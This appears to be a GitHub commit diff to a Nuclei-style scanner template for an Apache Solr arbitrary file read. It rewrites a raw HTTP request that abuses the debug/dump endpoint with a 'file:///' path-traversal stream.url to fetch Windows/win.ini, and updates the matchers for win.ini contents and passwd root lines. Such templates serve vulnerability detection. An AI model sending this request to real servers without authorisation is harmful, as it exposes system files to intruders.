Update apache-solr-file-read.yaml

patch-1
Dhiyaneshwaran 2022-12-02 09:31:15 +05:30 committed by GitHub
parent c8b5033ccc
commit fd270d85f6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 9 additions and 8 deletions

View File

@ -24,7 +24,7 @@ requests:
Connection: close
- |
GET /solr/{{core}}/debug/dump?stream.url=file:///../../../../../&param=ContentStream HTTP/1.1
GET /solr/{{core}}/debug/dump?stream.url=file:///../../../../../Windows/win.ini&param=ContentStream HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
Connection: close
@ -43,13 +43,15 @@ requests:
regex:
- '"name"\:"(.*?)"'
stop-at-first-match: true
matchers:
- type: word
name: "windows"
part: body
words:
- "Windows"
- "Users"
- "org.apache.solr.handler.DumpRequestHandler"
- "bit app support"
- "fonts"
- "extensions"
condition: and
- type: regex
@ -57,7 +59,6 @@ requests:
regex:
- "root:.*:0:0:"
- type: word
name: "other"
words:
- "java.io.FileNotFoundException"
- type: status
status:
- 200